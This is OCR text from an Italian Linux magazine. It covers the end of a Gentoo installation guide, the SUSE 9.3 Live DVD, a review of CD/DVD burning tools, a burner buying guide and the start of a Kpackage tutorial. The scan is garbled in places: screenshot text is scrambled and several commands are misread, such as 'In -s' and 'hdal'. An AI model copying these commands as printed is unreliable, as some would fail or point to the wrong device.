Impostiamo la password dell'utente amministra- 
tore (root) con il comando passwd senza argo- 
menti e aggiungiamo un utente al sistema. 


passwd 
Per aggiungere almeno un utente: 
useradd nome_ utente -m -G users, 


wheel,audio -s /bin/bash 
passwd nome_utente 


Impostiamo il nome del computer ed il dominio di 
appartenenza. 


echo nome computer > /etc/hostname 


mkdir /mnt/gentoo/usr/portage 


ceee 
ceo 
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/dev/fd0 /mnt/floppy auto noauto, 


echo dominio.it > /etc/dnsdomainname 


Infine, è necessario modificare il file che carica i 
moduli del kernel all'avvio. 


nano /etc/modules.autoload.d 
/kernel-2.X 


dove la x rappresenta la versione esatta del kernel 
che avete deciso di utilizzare. 


Installazione e configurazione 
del bootloader Grub 

La procedura è abbastanza semplice, bisogna 
creare il file di configurazione di Grub (menu.lst) 
ed un link simbolico ad esso (grub.conf), per mo- 
tivi di compatibilità. 

Le righe seguenti devono essere modificate in 
base alla configurazione e ai nomi dei file che 
deciderete utilizzare. 


emerge grub 
grub-install /dev/hda 
In -s /boot/grub/grub.conf /boot 
/grub/menu.lst 
nano /boot/grub/menu.lst 
(si apre l’editor, aggiungere le 
seguenti linee) 


default 0 

timeout 10 

splashimage = (hd0,0)/boot/grub 
/splash.xpm.gz 

title = Gentoo Linux 

root(hd0,0) 

kernel /boot/kernel-2.X root= 

/dev/hdal 


initrd /boot/initrd-2.X 


L'installazione del sistema è terminata. Uscite dal 
chroot della partizione Gentoo, smontate le parti- 
zioni e riavviate il sistema. 


exit 

Go / 

umount /mnt/gentoo/proc 
umount /mnt/gentoo 
reboot 


PackageCD per installare 
applicazioni aggiuntive 

A questo punto abbiamo solo il sistema di base, 
ma attraverso il PackageCD, possiamo installare 
i pacchetti già compilati. Dopo aver inserito 
PackageCD eseguiamo 


mount /dev/cdrom /mnt/cdrom 


mkdir /usr/portage/packages 


cp -a /mnt/cdrom/* /usr/portage 
/packages 


USE="bindist” emerge -k xfree 
gnome kde mozilla openoffice-bin 


Cosa è e come funziona 

il sistema Portage 

Può essere considerato, a ragione, il cuore di 
Gentoo. Portage gestisce diversi aspetti del siste- 
ma tra cui uno dei più importanti è la gestione del 
software. Tramite questo strumento basta un 
semplice comando (emerge sync) per aggiornare 
la lista del software. Così facendo, Portage 
aggiorna la repository locale del software, detta 
"Portage tree", attraverso Internet. | pacchetti 
disponibili sono più di 5000 con aggiornamenti 
quotidiani. Per installare un pacchetto è sufficien- 
te digitare emerge -k nome_pacchetto e Portage 
automaticamente costruisce e installa una ver- 
sione personalizzata del pacchetto, ottimizzando- 
lo per il vostro sistema. Per aggiornare il sistema 
automaticamente, basta utilizzare il comando 
emerge --update system. Tra i comandi per gesti- 
re e automatizzare l'installazione del software e 
l'aggiornamento del sistema sono disponibili i 
seguenti: 


emerge search nomepacchetto 
per cercare un pacchetto 


emerge unmerge nomepacchetto 
per disinstallare un pacchetto 


emerge --update world 
per aggiornare il sistema completo 
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M Distribuzione 


SUSE LINUX 9.3 LIVE DVD 


Prova subito tutte le novità della distribuzione 
professionale, per aziende e piccoli uffici, il sistema 
ideale per applicazioni desktop e d'impresa 


opo anni di attività nel panorama GNU 

/Linux e Open Source in generale, SUSE 
Linux si conferma ancora una volta come 
una delle distribuzioni più apprezzate, in 
particolare nell'ambito desktop e business. 
Grazie alle doti di stabilità e sicurezza che 
da sempre la contraddistinguono, ha sapu- 
to conquistare una fetta di mercato che au- 
menta di versione in versione, anche dopo 
l'acquisizione da parte di Novell, che ha vo- 
luto e saputo indirizzare lo sviluppo delle 
nuove versioni verso la strada della conti- 
nuità. L'arrivo di questa nuova release non 
fa altro che confermare i dati incoraggianti 
di questi ultimi anni con un prodotto pro- 
fessionale e sempre all'avanguardia. In par- 
ticolare, l'attenzione degli sviluppatori è 
stata rivolta ancora una volta al migliora- 
mento delle già ottime doti di stabilità, si- 
curezza e semplicità di gestione, che la ren- 
dono ideale sia per il semplice utilizzo de- 
sktop sia per applicazioni d'impresa con 
elevati carichi di lavoro. Gli utenti alle prime 
armi apprezzeranno di sicuro la potenza e la 
semplicità di utilizzo del potente tool di 
gestione Yast2, che permette di configurare 
ogni aspetto del sistema in modalità com- 
pletamente grafica, senza la necessità di 
modificare manualmente complessi file di 
configurazione. 
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Anche il riconoscimento e la 
configurazione dell'hardware 
sono stati ottimizzati, così in 
pochi minuti è possibile utiliz- 
zare periferiche Bluetooth, wi- 
reless e modem ADSL per ef- 
fettuare connessioni Internet a 
banda larga. Gli utenti più 
smaliziati possono invece ap- 
prezzare le doti di stabilità e 
scalabilità offerte dal sistema 
nell'utilizzo come ambiente server per la 
maggior parte dei protocolli di rete disponi- 
bili (web, FTP, NFS, Samba, ecc.), con la ga- 
ranzia di avere un sistema sempre perfor- 
mante e sicuro. 


Un sistema completo 
senza installazione 
Come accade ormai da diverso 
tempo, ancora prima dell'ac- 
quisizione da parte di Novell, il 
sistema viene rilasciato in ver- 
sioni differenti, commerciali e 
non, e tra queste vi sono le 
versioni cosiddette “live”, uti- 
lizzabili direttamente da CD- 
DVD senza installazione; in 
questo caso è stata rilasciata 
la versione Live 
DVD. Si tratta di 
un DVD avviabile 


I] Fig. 1 è Il centro di controllo Yast2 con il modulo per la 
gestione dell'hardware 
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(bootable) che consente di 
provare in anteprima tutte le 
novità della nuova distribuzio- 
ne senza modificare la confi- 
gurazione del sistema. 

Per avviare il sistema è suffi- 
ciente impostare (dal BIOS) il 
lettore DVD come prima peri- 
ferica di avvio, riavviare e at- 
tendere che il sistema venga 
caricato in memoria. 

Dopo qualche minuto di atte- 
sa avrete a disposizione un 
sistema completo per effet- 
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Tea Fig. 2 è La home directory visualizzata nel filemanager 
Konqueror 


tuare qualsiasi prova, prima fra tutte, le 
nuove funzionalità dei desktop Gnome 2.10 
e KDE 3.4. 


I] Fig. 3 * Il sistema è finalmente pronto all'uso con il nuovo 
ambiente desktop KDE 
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MI Adesso che anche NeroLINUX è approdato nel mondo Linux, l'offerta 


SOFTWARE 


SUL: 
CO-DUD 


di strumenti per masterizzare è completa. Vediamo come utilizzarli 
e soprattutto cerchiamo di capire quale è il migliore 


na delle maggiori esigenze, per quanto ri- 

guarda i sistemi operativi moderni, è sicu- 

ramente la possibilità di masterizzare i 

propri CD-DVD di dati o audio. Fino a non 
molto tempo fa quest’operazione su Linux poteva 
essere compiuta esclusivamente attraverso dei tool 
a riga di comando. Ultimamente, anche grazie 
all'espansione del Pinguino in campo desktop, si 
sono sviluppati numerosi frontend grafici che, pur 
appoggiandosi ai medesimi programmi di shell, 
rendono il lavoro più semplice ed intuitivo. In 
quest'articolo, abbiamo recensito i programmi più 
utilizzati che usano un’interfaccia grafica, per la 
creazione di CD e DVD, in ambiente Linux. Tutte 
queste applicazioni offrono funzionalità abbastanza 
simili per la masterizzazione, la scrittura di tracce 
dati su disco, la creazione di CD audio e l'estrazione 
(o ripping) delle tracce audio da CD. In realtà quasi 
tutti i software di questo piccolo excursus, ad 
eccezione del solo NeroLinux, sono solamente dei 
frontend ad un insieme di programmi a riga di 
comando che eseguono il lavoro vero e proprio. Tra 
questi elenchiamo cdrecord e cdrdao per la scrittura 
dei dati, caparanoia e cdda2wav per l'estrazione 
audio e mkisofs per generare un file system /SO 
9660. Per valutare le prestazioni e le funzionalità 
offerte da NeroLinux, il confronto con i tool di maste- 
rizzazione Open Source per il pinguino era 
inevitabile. D'altro canto, non ha senso usare un 
nuovo software se non è più amichevole, veloce e 
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funzionale degli strumenti già disponibili 
liberamente. Nell’esaminare i diversi tool di maste- 
rizzazione, abbiamo anche pensato di fornire dei 
brevi tutorial per provare l’usabilità e le peculiarità di 
ogni singolo software recensito. 


LA NOVITÀ, NEROLINUX 


Non possiamo nasconderlo, vedere l’icona di Nero 
sul nostro desktop è davvero incredibile. Il rilascio di 
NeroLinux, senza ombra di dubbio, testimonia una 
sempre maggiore attenzione delle software house 
nei confronti di GNU/Linux. In molti, alla lettura di 
questa notizia avranno pensato ad uno scherzo, in- 
vece anche Nero ha “sposato” Linux dando vita ad 
un'applicazione facile da usare e in grado di ricono- 
scere automaticamente un vastissimo numero di 
masterizzatori CD/DVD sia interni, sia su porta USB. 
In pratica, tutti i masterizzatori riconosciuti in am- 
biente MS Windows vengono riconosciuti senza pro- 
blemi anche in Linux (NeroLinux supporta tutti i tipi 
di masterizzatori riconosciuti da NeroAPI 6.6). 
L’unico requisito di sistema, richiesto da NeroLinux, 
è l’utilizzo di una versione del kernel non inferiore al- 
la 2.4, ma ormai quasi tutte le distribuzioni recenti 
impiegano di serie la versione 2.6, o ne prevedono in 
ogni caso l’adozione come scelta alternativa. Per il 
resto, le caratteristiche di NeroLinux sono le stesse 
offerte dalla controparte in ambiente commerciale. 
NeroLinux, per ora, viene rilasciato solo in formato 
binario precompilato, è 
disponibile per RedHat, 
Fedora, SuSe, Debian e 
non dovrebbe  co- 
munque essere difficile 
riuscire a farlo funziona- 
re anche su altre distri- 
buzioni. NeroLinux è in 
grado di gestire il conte- 
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INSTALLARE NEROLINUX 


Per installare NeroLinux dobbiamo prima scari- 
care il pacchetto giusto per la nostra distribuzio- 
ne. Per Mandriva, Fedora, RedHat e SuSe, il file 
da scaricare è NeroLINUX-2.0.0.0-7-intel.rpm. 
Per la Debian scarichiamo il file NeroLINUX- 
2.0.0.0-7-i386.deb. Vediamo come procedere. 
Per le distro che usano i pacchetti precompilati 
.rpm, da root scriviamo: 


rpm -ivh NeroLINUX-2.0.0.0-7-intel.rpm 


mentre per Debian, e le varie distro Debian- 
based, il comando da usare è: 


dpkg NeroLINUX-2.0.0.0-7-i386.deb 


nuto delle compilation memorizzate su CD/DVD tra- 
mite semplici file in formato XML, integra la tecnolo- 


tool combina facilità d’uso e potenti funzionalità. 
Possiede un’interfaccia utente davvero ben pro- 
gettata e gradevole, la configurazione è comple- 
tamente automatica ed offre utili avvertimenti e 
notifiche di errore. Il livello di funzionalità è davve- 
ro notevole, incluso il controllo sulla generazione 
ISO ed il supporto per l’estrazione di flussi video, 
da DVD, grazie all’uso dello strumento transcode 
(www.transcoding.org). L'integrazione con l’am- 
biente desktop KDE è impareggiabile, K3b ag- 
giunge alcune comode voci al menu contestuale 
di Konqueror; i contenuti dei CD audio sono vi- 
sualizzabili tramite l’opzione di ricerca CDDB e 
durante la visualizzazione di contenuti video e au- 
dio sono disponibili gli strumenti per l'estrazione 
di tracce audio tramite un menu contestuale. Con 
il supporto transcode integrato possiamo ricom- 
primere i flussi MPEG-2 utilizzando DivX, e molte 
altre opzioni per poi riprodurre l’output come file 
AVI. Il filmato può anche essere tagliato e ridimen- 


gia FreeDB (www. freedb.org) che consente di reperire 
da Internet tutte le informazioni sui brani musicali, 
codifica e decodifica file audio “al volo” utilizzando le 
utility esterne (come mpg123 e 0gg123). Da sottoli- 
neare anche la presenza, tra i credits, degli autori 
dell'ottimo frontend GnomeToaster al quale si ap- 
poggia; il neonato NeroLinux dovrà ora vedersela 
con il suo avversario diretto: K3b. 


PICCOLI PROBLEMI LEGATI ALLA MASTERIZZAZIONE 


La registrazione di un CD-R (o di un e il masterizzatore deve essere fis- 
DVD+/-R) è un'operazione a senso sato bene e non deve essere inte- 
unico e delicata. Se qualcosa va stor- ressato da vibrazioni. Anche un 
to, il disco che si ottiene è da butta- urto potrebbe compromettere la 
re. Per questo è bene tenere a registrazione del CD. 

mente alcune regole fondamentali: e il flusso di dati, verso il masteriz- 
zatore, deve essere costante e si 
dovrà mantenere pari alla velo- 
cità di registrazione del masteriz- 
zatore. 


e il CD vergine deve essere perfet- 
tamente pulito prima della regi- 
strazione; 


K3B, IL CLONE DI NERO? 


K3b è giustamente indicato come il termine di pa- 
ragone con cui confrontare NeroLinux. Questo 


Riscrivibili con NeroLinux 


Cancelliamo il contenuto di un CD riscrivibile in tre semplici passi 


Erase rewriteable disc 


Choose Recorder: 
DVDRW IDE1004 


{ID:1 HA:0) 


Activity: 
Elapsed time: 19:40 


Erasing rewriteable disc 
Select the erase method to be used: 


Remaining time: 06:05 


Cancel 


avviato NeroLinux, dal menu 

Recorder, selezioniamo la voce Erase 
ReWritable Disc. Ricordiamo che i CD riscri- 
vibili sono quelli contraddistinti dalla sigla 
CD-RW (file system UDF). 


1 AVVIA NERO LINUX Dopo aver 


CANCELLAZIONE RAPIDA Dalla 
2 finestra che ci viene proposta sceglia- 

mo se eseguire la cancellazione rapi- 
da (Quick-erase rewritable disc), oppure 


completa (Full-erase rewritable disc). Dopo 
di che facciamo click sul pulsante Erase. 


Fatto questo NeroLinux avvierà il pro- 

cesso di cancellazione mostrando le 
informazioni riguardo al tempo trascorso e 
quello necessario al completamento dell'o- 
perazione. 


3 OPERAZIONE COMPLETATA 
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A Tribute Pertormed y Studio 99 (Robbie Will) 
O8BAA49 ma fi dt rr SCOSSE rr Tstriione tacchi ande 
SISI Gti Sa A Tita Pron DS PV Re Wim Aqui dex sonoeasi 

Artista Titolo Lunghezza | Dimensione RAG ana A Pr Dt VERA Von | SIRSI eta de Lett ct ata ce arte 4 © 
X 1 RobbieWilliams Angels 04:26:29 +44,8 Mbyte perentaziyuento 
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X 3 RobbieWilliams Millennium 03:59:52 +40,3 MByte 
X 4 RobbieWilliams Freedom 96 +45,8 Mbyte 
X 5 RobbieWilliams —1LetMeEntertain You +44,3 Mbyte 
X 6 RobbieWilliams —How DeepIs Your love +36,2 MByte 
X 7 RobbieWilliams —Back For Good +40,9 Meyte 
X 8 RobbieWilliams Never Forget 201 +53,8 Mbyte Cenone | Renputazione ame ta | Ameninte strazione dell'audio digitate ine 
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X 12 RobbieWilliams A Million Love Songs +39,6 MByte Cm pinta miu RSA 
X 13 Robbie Williams —1CouldItBe Magic +35,6 Mbyte ivi == 3} 
X 14 Robbie Williams _—Relight My Fire 2M 19) Cosa LAB) | Com re ei i m 
FES 15 Robbie Williams kes A Minute 
X 16 RobbieWilliams Pray Apro 

vada pontile Vitta pendio Gaber igentacai vinte 


sionato. K3b supporta la masterizzazione di di- 
schi in formato SvideoCD e VideoCD (1.0 e 2.0), 
oltre ad un supporto base per dischi CD-I e PBC. 
Durante la creazione di tracce dati, possiamo rea- 
lizzare un file system ISO grazie all’uso del drag & 
drop di file e directory dal browser sorgente o dal 
desktop. Con K3b si possono inoltre includere, in 
ogni disco, diverse immagini di boot visto che 
possiede il supporto El Torito (lo standard per la 
creazione di CD avviabili). Unico neo del tool è il 
mancato supporto per i file system di tipo 
Hibrid/HFS, le uniche estensioni supportate al 
momento sono Joliet e Rock Ridge. 


IL PIÙ LEGGERO 
GNOMETOASTER 


Gnometoaster è il programma di masterizzazione 
ufficiale di Gnome. È un programma davvero po- 
tente, che offre le stesse opzioni di XCDRoast. 
GnometToaster si presenta più semplice e leggero 
rispetto agli altri tool di masterizzazione, offre al- 
l’utente soltanto le funzionalità che di norma sono 
le più utilizzate (in Figura 1). 

Si può ricorrere a cdrecord per cercare i masteriz- 
zatori SCSI ed i lettori, ma durante la nostra prova 
è stato necessario immettere i dettagli manual- 
mente (Figura 2). GnomeToaster non è certo un 
tool a prova di newbie. Si possono creare direc- 
tory, è possibile rinominare ed eliminare le voci, 


(TI) 
DIL) 


() 
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ma non sono supportati i dischi in mixed-mode, 
mentre esiste il supporto per i CD multisessione. 
È possibile fare lo scan di un CD ed ottenere un 
elenco di tracce, come pure effettuare la ricerca 
CDDB. Infine, è possibile decodificare e masteriz- 
zare file MP3, Wav e Ogg, così come normalizza- 
re le tracce audio. Naturalmente si tratta di un’ot- 
tima soluzione per chi desidera usare un software 
altamente integrato nel sistema. Per gli smanetto- 
ni parleremo di software più specializzato. 


GnomeToaster 


File Modifica Tools Aiuto 


A & “è 


Esci Preferenze. Import Clear Disc 


E7Unix Tree *. Filename 


valpenguin 


EHlib 

E mnt 

| cdrom 

| cdrom2 
{floppy 

| usbdisk 
E-windows 


B}-opt 
proc 
mi ront 


E /[{CDROM] Filename 


Filesize. 


Filesize. 


valpenguin kde 


4.096 


tmp 


4.096 


.|.bash_logout 


24 


“Lbash_profile 


235 


bashre 


402 


dmrc 


24 


screente 


3.729 


xsession-errors 


Fillstate 0 MB/ 746 MB ( 0%, 0:00/74:00 Minutes ) 


Fig. 1 e GnomeToaster, un tool di masterizzazione che punta alla 


semplicità 


IL KDE “DIPENDENTE”, 
CD BAKE OVEN 


CD Bake Oven è un’applicazione interamente ba- 
sata su KDE e quindi fa un uso massiccio della 
sua infrastruttura. Per l'estrazione e la codifica 
delle tracce audio si basa sul cdaudio IO slave di 
KDE, ed è dotato di un proprio IO slave per la 
creazione di file system ISO con konqueror. Tutte 
le finestre di dialogo, riguardanti le impostazioni, 
sono dei moduli del centro di controllo di KDE. 
Per aggiungere tracce audio ad una compilation o 
file e directory ad un file system ISO possiamo 
usare il drag & drop; sono supportati i file system 
Joliet, Rock Ridge, e Hybrid /HFS; è presente an- 
che il supporto El Torito. CD Bake Oven è un otti- 
mo strumento per lavorare con tracce dati, ma 
meno adatto per quanto riguarda le tracce audio. 
Infatti, non si può decodificare “al volo” e norma- 
lizzare le tracce audio. | comuni formati MP8, Wav 
e Ogg sono usati sia durante l’estrazione, sia du- 
rante la masterizzazione delle tracce audio. Fun- 
zionano invece i tag ID3 e la ricerca CDDB, così 
come la scrittura dei CD-Text. 


XCDROAST, L'ALTERNATIVA 


XCDRoast, non è legato a nessun desktop mana- 
ger, come per esempio K3b e CD Bake Oven lo 


GnomeToaster Preferences 
Common 1509660 CD Digital Audio Filetypes CDROM and Recorder Setup Audio System 
recording client 
Single call FIFO 
Write whole CD with 
Fixating command 
Trackwrite command 
Blank disc command 


cdrecord Use single call 


$tempdir/gtoaster 


rec_clientrec_multisessionrec_dummymode dev=$scsiid 
rec_clientrec_multisessionrec_dummymode$buprotect de 
rec_clientrec_dummymode dev=$scsiid speed=rec_spee 
rec_client dev=$scsiid -eject 

eject-t $device 


Eject disc command 
Reload Disc with 
Multisession Info rec_client dev=$scsiid -msinfo 

DAO Recording Client |\cdrdao % Use alternative client 

DAO Write Command rec_daoclient writerec_daodummymode --driver generic: 

Scsi bus scan command |cdrecord -scanbus 

regexp("[ J"{[0-9,][E ]°[0-9]).‘Removable CD-ROM$") 

rec_client -inq dev=$scsiid 

regexp("Device type *: (.*)") 

regexp("Vendor_info *: ‘()"") 

regexp("Identifikation *: ‘()"") 

regexp{"Device seems to be *: (.%)") 

fetc/fstab 


regexp("$devicelt ]"([Mt in]5)") 


Scsi parse scan output 
Scsi drive inquiry 
Get drive type 
Get vendor name 
Get drive identification 
Get cdrom type 
Mountpoint lookup file 
Get mountpoint with 


< Prec Y Applica 


MI Fig. 2 © La scarsità di funzioni e la poca usabilità di GnomeToaster non 


lo fanno, di sicuro, preferire alla concorrenza 


sono a KDE, oppure GnomeToaster a GNOME. Il 
programma possiede una semplice interfaccia 
realizzata con GTK+; la configurazione è imme- 
diata e qualsiasi masterizzatore o lettore collega- 
to viene automaticamente rilevato. Il tool offre un 
insieme completo di strumenti per la configura- 
zione dell’immagine ISO e avverte in caso di scel- 


Greare un CD da un file immagine 


Utilizziamo i tool disponibili con CD Bake Oven per masterizzare un file ISO 


150 rage (1 une. 


ferma pentola 1 106 me Pi 


Dulate imageia) aer iecrding =«{_ Demon | Qotiona 


SEGUIAMO IL WIZARD La mag- 


MASTERIZZAZIONE Dalla finestra 


rec_clientrec_multisessionrec_dummymode$buprotectgd Track Item 


-$tracktype tsize=$tracksize 


X Annulla 


LA FUNZIONE CD COPY Seun 


gior parte delle distribuzioni GNU/Linux 

sono distribuite sotto forma di file ISO. 
A partire da queste con poche e semplici ope- 
razioni possiamo creare i nostri CD di installa- 
zione. Dopo avere avviato il programma e un 
nuovo progetto selezioniamo la voce Burn a 
New CD from an Image File dal wizard di CD 
Bake Oven. A questo punto non ci resta che 
seguire le indicazioni presenti all'interno della 
nuova schermata. 


di creazione del nuovo CD impostiamo i 

parametri di masterizzazione : il ma- 
sterizzatore da usare, la velocità di scrittura e 
il numero di copie che si desidera creare. 
Infine, non ci resta che indicare il percorso (o 
path) dove abbiamo archiviato l'immagine ISO 
utilizzata per creare il CD e selezionarla. 
Impostati tutti i parametri necessari, facciamo 
click sul pulsante Create per avviare la scrit- 
tura vera e propria del supporto. 


amico ci chiede una copia del CD della 

nuova distro che abbiamo appena sca- 
ricato, oppure abbiamo semplicemente di- 
menticato di crearne una, possiamo sempre 
copiare il CD. Dallo stesso wizard, visto in 
precedenza, selezioniamo il primo pulsante 
Copy a music or data CD. Dalla finestra che ci 
viene proposta impostiamo i parametri esatti 
e, per completare la procedura, clicchiamo 
sul pulsante Copy! 
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Copiare un DVD con XCDRoast 


Come creare una copia di backup dei nostri film preferiti 


Informazioni COMmmagINe 


Leggi COND informazioni sui CO/DVD 


Impantntiene dei aipamitivi 
Pancani bet: IDE OVO-ROM IGX  [ATA:100) 
Directory Immagini: Automatico 
Dirgeetoo di sermmume OVEST IDEM [ATAILO] 


imeosiazione dei dispositivi 
Dispense» ci btu: OE OVDROMINE  |ATA:1,0,0p 2 


Tmtormazioni sti‘ 


Teco 
® 1 traccia cos (67M 
ISOPEGO. DIIPOOII [320708] oieleni e 


D/OVO da scrivere Porametri di scrittura 


Tio Dinox; MOmin S| Inbatie 


CISI Merini © scretare: Dit Ae-Onca (DA) LJ 


Simutanone di scr 

DE Rigel CD dopo de verittum 

% Cynrgì Tac 

M Atti la protezione di svuotamento cel buffer 
Sert CD lato Mona (tas 


‘9USE Lume 2 Persona Esiti / 
Mama / 337% 


Treo li 


Tipo: CO uti 


Ptichetia: (SUS Livia $.2 Porno fistion fl 


Derensione: | 76GB/ 755774 


Toma al menù principale 


L'interfaccia principale di XCDRoast 

presenta solo tre pulsanti che consen- 
tono di configurare il software, duplicare un 
CD/DVD oppure crearne uno nuovo. Tra que- 
sti selezioniamo Duplica CD/DVD per acce- 
dere all'interfaccia di configurazione che ci 
consentirà di avviare la copia. 


Dalla finestra 

di duplicazione scegliamo il dispositivo 

di origine (il lettore DVD in cui abbia- 
mo inserito il disco da copiare) e aspettiamo 
qualche secondo affinché XCDRoast legga le 
informazioni relative al disco. Infine, clic- 
chiamo sul pulsante Scrivi CD/DVD per acce- 
dere alla schermata di riepilogo. 


A questo punto 
non ci resta che controllare rapida- 
mente l'esattezza dei diversi parame- 

tri di masterizzazione inseriti (dispositivo di 
lettura e scrittura, velocità, tipo disco, tipo di 
scrittura, etichetta del supporto, ecc.) e, se 
tutto è corretto, clicchiamo sul pulsante 
Scrivi CD/DVD. 


te errate o non aderenti agli standard. 

Il supporto all’audio è completo: si possono com- 
piere ricerche sui CDDB e recuperare le informa- 
zioni sui CD-Text. XCDRoast supporta soltanto i 
file in formato Wav e CD-DA per l'estrazione e la 
scrittura delle tracce audio. Rispetto ad altri soft- 
ware di masterizzazione trattati sinora, XCDRoast, 
non supporta i file system di tipo Hybrid/HFS e 
non dispone di funzionalità che consentono di 
creare CD o DVD con all’interno file e directory 
nascosti (questi sistemi non supportati prendono 
il nome di Joliet e Rock Ridge). 


COS'È IL BUFFER UNDERRUN? 


Per buffer underrun s'intende quel particolare 
errore che si verifica quando al masterizzatore 
non arrivano più dati da scrivere, poiché la 
memoria buffer si è svuotata per problemi 
imprevisti. Questo errore provoca il fallimento 
della masterizzazione del supporto. La memo- 
ria buffer è un tipo di memoria che ha il com- 
pito di immagazzinare temporaneamente i dati 
per compensare le differenze di transfer rate 
esistenti fra due periferiche. Durante la 
masterizzazione il burner ha bisogno di un 
flusso continuo di dati. Qualora il sistema non 
riesca ad inviare la quantità di dati richiesta 
provvederà la memoria buffer a garantire, per 
un breve tempo (nell'ordine dei secondi), la 
continuità necessaria. 
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IMMAGINI ISO 
DALLA RIGA DICOMANDO 


Il pacchetto cdrtools contiene il tool mkisofs che 
consente di creare immagini ISO con il seguente 
comando 


AVEVA 
UJEST? = ESsStE;is0 [Paol] 


mkisofs -pad -1 


COPERTINE PER TUTTI! 


Se dopo aver masterizzato un CD, o 
un DVD, vogliamo preparare anche 
le copertine per le nostre copie, 
possiamo farlo con programmi 
come gtkcdlabel 
http://gtkedlabel.sourceforge.net/un 
completo frontend per cdlabelgen 
www.aczoom.com /tools/cdinsert/, 
oppure con Kcd-label hffp://kedla- 
bel.sourceforge.net/. 


Il comando eseguito creerà una ISO 
con etichetta “TEST” e nome del fi- 
le test.iso, con il contenuto della di- 
rectory indicata nel parametro path. 


CONCLUSIONI 


AI termine di questa breve panora- 
mica sui tool di masterizzazione 
possiamo affermare che K3b è 
senza dubbio la migliore applica- 
zione per la creazione di CD e DVD 
attualmente disponibile per Linux. 
Offre un’interfaccia completa, intuitiva ed una 
configurazione automatizzata. È senza dubbio il 
migliore tra quelli provati, NeroLinux compreso. 
Non sono tanto le caratteristiche aggiuntive che 
fanno diffondere un software e lo rendono po- 
polare, quanto e soprattutto una maggior atten- 
zione verso l’interfaccia e l’usabilità stessa del 
programma. 

Valerio Guaglianone 


Masterizzatori: guida all'acquisto 


I modelli più convenienti e interessanti da utilizzare con il pinguino 


masterizzatori (o burner) sono dimensioni di dati che possono conte- in commercio anche masterizzatori per 
dispositivi in grado di scrivere su CD nere. | DVD sono disponibili in due for- i dischi a doppio strato, in pratica per 
o DVD vergini. | primi sono usati per mati -R e +R, tutti i modelli di maste- DVD che arrivano a 8.5 Gb di capacità 
archiviare dati e per creare raccolte rizzatori ormai sono in grado di scrive- (questi masterizzatori sono chiamati 
musicali mentre i secondi sono utiliz- re entrambi i formati (masterizzatori Dual Layer). Adesso vediamo insieme 
zati nel video editing per salvare i fil- Dual Format). | DVD hanno capacità di quattro interessanti modelli di maste- 
mati a causa anche delle enormi 4.7 Gb, ma da poco è possibile trovare rizzatori per orientarci nell'acquisto. 


FREECOM CLASSIC DVD+/-RW DL 


È un masterizzatore esterno molto elegante [il case è 
ben realizzato e poco ingombrante, anche se di plastica), 
Le prestazioni sono buone, è risultato veloce con punte 
sopra le medie. Unico problema è l'impossibilità di usare 
una connessione FireWire, visto che è dotato della sola 
connessione USB 2.0. Un eccellente prodotto per la ma- 
sterizzazione di CD e DVD. 

e Tipo: DVD+/- RW DL » Velocità max in scrittura: x/16x/4x 

e Velocità max in riscrittura: x/4x e Store: www.cty.it 


NEC ND 35204 


È un burner che supporta anche la scrittura sui nuovi 
supporti DVD -R DL. La qualità della masterizzazione è 
garantita dall’OPC Attivo (o Active Optimized Power 
Control), una tecnologia in grado di controllare, in tempo 
reale, la superficie del disco e regolare il laser in base al 
potere di riflessione del supporto stesso. Tra i suoi pregi 
più evidenti c'è il buon rapporto tra qualità/prezzo. 

e Tipo: DVD+/- RW DL » Velocità max in scrittura: x/16x/4x 

e Velocità max in riscrittura: x/6x e Store: www.itnetshop.it 


LITE-ON SOHW 832S 


È stato uno dei primi masterizzatori DL disponibili sul mercato. A 
supporto della masterizzazione troviamo le tecnologie Smart-X, che 
controlla e regola la velocità di lettura per ottimizzare l'estrazione dei 
dati dai supporti e la Smart-Burn per prevenire gli errori di buffer un- 
derrun. Il masterizzatore è dotato inoltre del sistema VAS che riduce 
le vibrazioni ed i rumori, migliorando la qualità di scrittura dei sup- 
porti. In definitiva, un ottimo prodotto anche questo. 

e Tipo: DVD+/- RW DL © Velocità max in scrittura: x/8x/2.4x 

* Velocità max in riscrittura: x/4x è Store: www.iperpuglia.it 


TX QUASAR DVD-DUAL-16X 


È un masterizzatore versatile e veloce, accessibile a tut- 
ti per via del prezzo molto contenuto. Il masterizzatore 
supporta la scrittura dei DVD +/- fino a 16x e quella dei 
DVD DL fino a 4x. Dotato di protezione contro l'errore di 
buffer underrun. Tra le peculiarità che lo distinguono la 

possibilità di essere montato anche verticalmente. 
e Tipo: DVD+/- RW DL * Velocità max in scrittura: x/8x/2.4x 


e Velocità max in riscrittura: x/4x e Store: www.mediaworld.it 
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installiamo 
on Kpackage 


M Problemi a maneggiare pacchetti per la vostra distribuzione? 
Niente paura! Vediamo come installare, disinstallare e aggiornare 
il software attraverso una semplice e comoda interfaccia grafica 


| pacchetti rappresentano, senza dubbio, 

il modo più efficiente di gestire le appli- 

cazioni presenti all'interno del nostro si- 

stema. Ancora più comodo è poter am- 
ministrare le installazioni e gli aggiornamenti diret- 
tamente da un'interfaccia grafica. Per i fan del 
desktop KDE, è disponibile Kpackage, un gestore 
di pacchetti “universale”; è in grado di gestire tutti 
i formati di pacchettizzazione esistenti: RPM, De- 
bian, Slackware, Gentoo e BSD. Negli esempi che 
seguono, vedremo come aggiornare la lista dei 
pacchetti disponibili, installarne uno di nostro in- 
teresse e disinstallare i programmi che non vengo- 
no più utilizzati; la distribuzione usata negli esem- 
pi è una Ubuntu Hoary, basata sul sistema di pac- 


chetti Debian, ma le operazioni riportate possono 
essere replicate con molta facilità anche su altre 
distribuzioni. 

Alessandro Di Nicola 


De | Cache | Xn 


estasi tipo di poccnento 
Mast remota 
Untizza host remoto (solo per Debian APT) 


DAKG: Debian 
Abina 


APT Debian 
Xi Abulnta Collocamone Sw paccheni 
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M Abslità Collocazione dei pacchetti 


none 


x Abu Collocazione dei pacchetti. 


MI Fig. 1 « IL tool KPackage con la schermata di 
configurazione 


Aggiorniamo la lista dei pacchetti 


Come ottenere l'elenco aggiornato dei programmi disponibili 


if XintoCenter (Cesto informazioni 


tia KSysGuard [Montor delle prestazioni 
#IR Monno: di sistema 


Ele Pacchetti Cac@)Speciale Impostazioni Alyto 


PS Installati  Aggiornat 


KPadaoe 


Aggiornamento 
Correzioni 
Aggiornamento Apt-File 
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* BDEBAPT 
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TR KPACKAGE 


Licenza: GPL 


Sito We: www.kde.org 


Tipo: Utility 


NERE 


File Pacchetti Cache Speciale Impostazioni Aiuto 
pa (Instalati | Aggiornal@D) Nuovi |Turi 


Dimen Version 


* II Nuovo log (Novo login} 
SÙ Ora e data 

E As4REmove Programs (Package Manager) 
* * Aynapee (Package Manager) 
